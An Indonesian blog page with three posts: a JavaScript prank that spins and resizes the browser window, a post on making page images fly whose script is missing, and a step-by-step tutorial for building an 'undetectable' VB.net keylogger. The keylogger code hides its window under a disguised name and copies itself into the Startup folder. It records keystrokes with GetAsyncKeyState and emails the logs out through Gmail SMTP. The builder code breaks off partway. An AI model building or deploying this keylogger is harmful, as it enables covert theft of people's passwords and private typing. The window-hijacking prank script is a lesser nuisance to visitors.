• 0

Cara Membuat Tampilan Mozilla Berputar


Banyak sekarang yang dilakukan para blogger, agar blognya berpenampilan keren dengan segala macam trik para blogger memakainya.

Sampai di dunia maya ini hampir nggak kuat untuk menahan data para blogger gara-gara kebanyakan animasi dan tampilan berbeda-beda. hahahaha

Tapi tidak mungkin dunia maya ini tidak bisa menampung para ide-ide cemerlang para blogger, karena selama beberapa tahun ini faktanya dunia maya ejoy-enjoy aja and tidak ada masalah apa-apa dan menerima ide-ide para blogger dengan baik. Termasuk sekarang ini sudah banyak yang memerangi trik SEO, yang semakin membuat blog unggul di Search Engine Google.

Cara Membuat Tampilan Mozilla Berputar

Sekarang ini saya mau ngasih trik Cara Membuat Tampilan Mozilla Berputar Di Blog dan Membuat Kepala Orang Pusing. Langsung saja menuju ke TKP. 
1.Buka Blogger
2.Rancangan - Tambah Gayget - HTML/JavaScrip
3.Copy Code Scrip di bawah Ini. Taruh di HTML/JavaScrip
<!-- Script Codes by http://ninoworking.blogspot.com -->
<script>
window.scrollBy(0, 1)
window.resizeTo(0,0)
window.moveTo(0,0)
//setInterval("move()",30);
setTimeout("move()", 1);
var mxm=50
var mym=25
var mx=0
var my=0
var sv=50
var status=1
var szx=0
var szy=0
var c=255
var n=0
var sm=30
var cycle=2
var done=2
function move()
{
if (status == 1)
{
mxm=mxm/1.05
mym=mym/1.05
mx=mx+mxm
my=my-mym
mxm=mxm+(400-mx)/100
mym=mym-(300-my)/100
window.moveTo(mx,my)
rmxm=Math.round(mxm/10)
rmym=Math.round(mym/10)
if (rmxm == 0)
{
if (rmym == 0)
{
status=2
}
}
}
if (status == 2)
{
sv=sv/1.1
scrratio=1+1/3
mx=mx-sv*scrratio/2
my=my-sv/2
szx=szx+sv*scrratio
szy=szy+sv
window.moveTo(mx,my)
window.resizeTo(szx,szy)
if (sv < 0.1)
{
status=3
}
}
if (status == 3)
{
document.fgColor=0xffffFF
c=c-16
if (c<0)
{status=8}
}
if (status == 4)
{
c=c+16
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c > 239)
{status=5}
}
if (status == 5)
{
c=c-16
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c < 0)
{
status=6
cycle=cycle-1
if (cycle > 0)
{
if (done == 1)
{status=7}
else
{status=4}
}
}
}
if (status == 6)
{
document.title = "Cljck"
alert("Cljck")
cycle=2
status=4
done=1
}
if (status == 7)
{
c=c+4
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c > 128)
{status=8}
}
if (status == 8)
{
window.moveTo(0,0)
sx=screen.availWidth
sy=screen.availHeight
window.resizeTo(sx,sy)
status=9
}
var timer=setTimeout("move()",0.3)
}
</script>

  • 0

Menerbangkan Gambar Pada Mozila

    Tentu anda bertanya-tanya ketika membaca judul postingan saya ini. Ya, kali ini saya akan memberikan sedikit trick yang unik dan lucu pada kawan-kawan semua. Apaan sich maksudnya Menerbangkan Gambar Pada Mozilla?? apakah gambar yang ada di browser mozilla firefox kita akan berterbangan keluar gitu?? hahah.. tentu tidak, yang saya maksud beterbangan disini adalah terbang melayang2 tanpa aturan di halaman yang sedang anda buka. Masih bingung??? yaudah, daripada bingung mulu mending langsung dicoba aja deh...
berikut langkah-langkahnya :





  • Buka halaman web yang ada banyak gambar/fotonya, misalkan facebook atau penelusuran gambar google.
  • Hapus alamat web yang ada pada address bar (kotak tempat anda memasukkan alamat web pada mozilla) lalu paste script yang telah anda copy diatas tadi
  • tekan Enter. tararaaaa.... gambar beterbangan tak karuan.

Anda ga perlu takut karena itu bukan sihir ataupun ulah hantu, hehehehe.... dan anda juga ga perlu takut komputer anda akan rusak karena semua itu bebas air dan alkohol. hahaha.... semakin banyak gambar maka semakin jelas pula efek dari trick tersebut.

  • 0

Membuat sendiri Program Keylogger (dijamin undetectable) No Programing skill needed




Mari memulai ,buka VB.net lalu pilih File->New project ->"Windows Forms Application" beri nama "Logic Keylogger" lalu Oksekarang kita akan membuat tampilan seperti dibawah ini,masuk ke Toolbox (dikiri) dan tambahkan 2 text box,2 labels,dan satu Tombol,atur tampilan nya menjadi seperti dibawah ini
[Image: keylogger1.png]

sekarang klik kanan di form dan klik view code,CTRL-A lalu delete


Paste kan code ini

Code:
Code:
Imports System.IO
Public Class Form1
Dim stub, text1, text2 As String
Const FileSplit = "@vorfin@"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
For Fadein = 0.0 To 1.1 Step 0.1
Me.Opacity = Fadein
Me.Refresh()
Threading.Thread.Sleep(100)
Next
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))

setelah itu pilih File-> Save All.Lalu klik Build,Build Logic Keylogger.

Oke builder uda dibuat,kita buat file stub nya

klik File -> New project->Form Application->Stub-> OK.

di form ini kita tambahkan 3 timers,di bawah kanan rubah times seperti berikut
Timer1-Interval=100
Timer2-Interval=900000
Timer3-Interval=900100

ubah nama form tersebut mnjadi "Windows Run .dll",set opacity menjadi 0% dan ubah "Show Icon In Taskbar" menjadi false. tambahkan 3 text box seperti ini

[Image: keylogger2.png]

Text Box yang gede = Text Box 1(set menjadi "Enabled=False")
Text box kiri = Text box 2
Text box kanan = Text box 3

Seperti tadi ,..Klik kanan -> view Code->delete ,paste kan code ini:

Code:
Code:
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim options(), text1, text2 As String
Const FileSplit = "@vorfin@"
Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)
Dim vDirectory As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
Dim zDir As New DirectoryInfo(vDirectory)
If Not zDir.Exists Then
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)
Else
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)
End If
Timer1.Start()
Timer2.Start()
Timer3.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress(TextBox2.Text)
MyMailMessage.To.Add(TextBox2.Text)
MyMailMessage.Subject = ("Logs")
MyMailMessage.Body = (TextBox1.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
TextBox1.Clear()
End Sub
End Class

lalu save lagi dan Build

Masuk ke "C\:Dir\Logic Keylogger\bin\release" lalu tambahkan .exe di desktop
lakukan yang sama terhadap stub nya

Run "Logic Keylogger" Enter Information,klik Build.

Selamat kamu baru aja membuat kylogger pertama kamu.

Note: Stub mungkin gak perlu di delete,tapi tidak di butuhkan untuk dikirim bersama server program nya.

Note: Keylogger ini akan mencoba memasuki startup folder di XP,untuk membuat startup di vista hapus kode ini di code yang ke-2

Code:
Code:
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
Dim zDir As New DirectoryInfo(vDirectory)
If Not zDir.Exists Then
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)
Else
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)
End If

  • 0

PERHATIKAN BAIK-BAIK............!!

Copyright © / ™ ID Exp ™

Template by : ID Exp / powered by :blogger

Loading...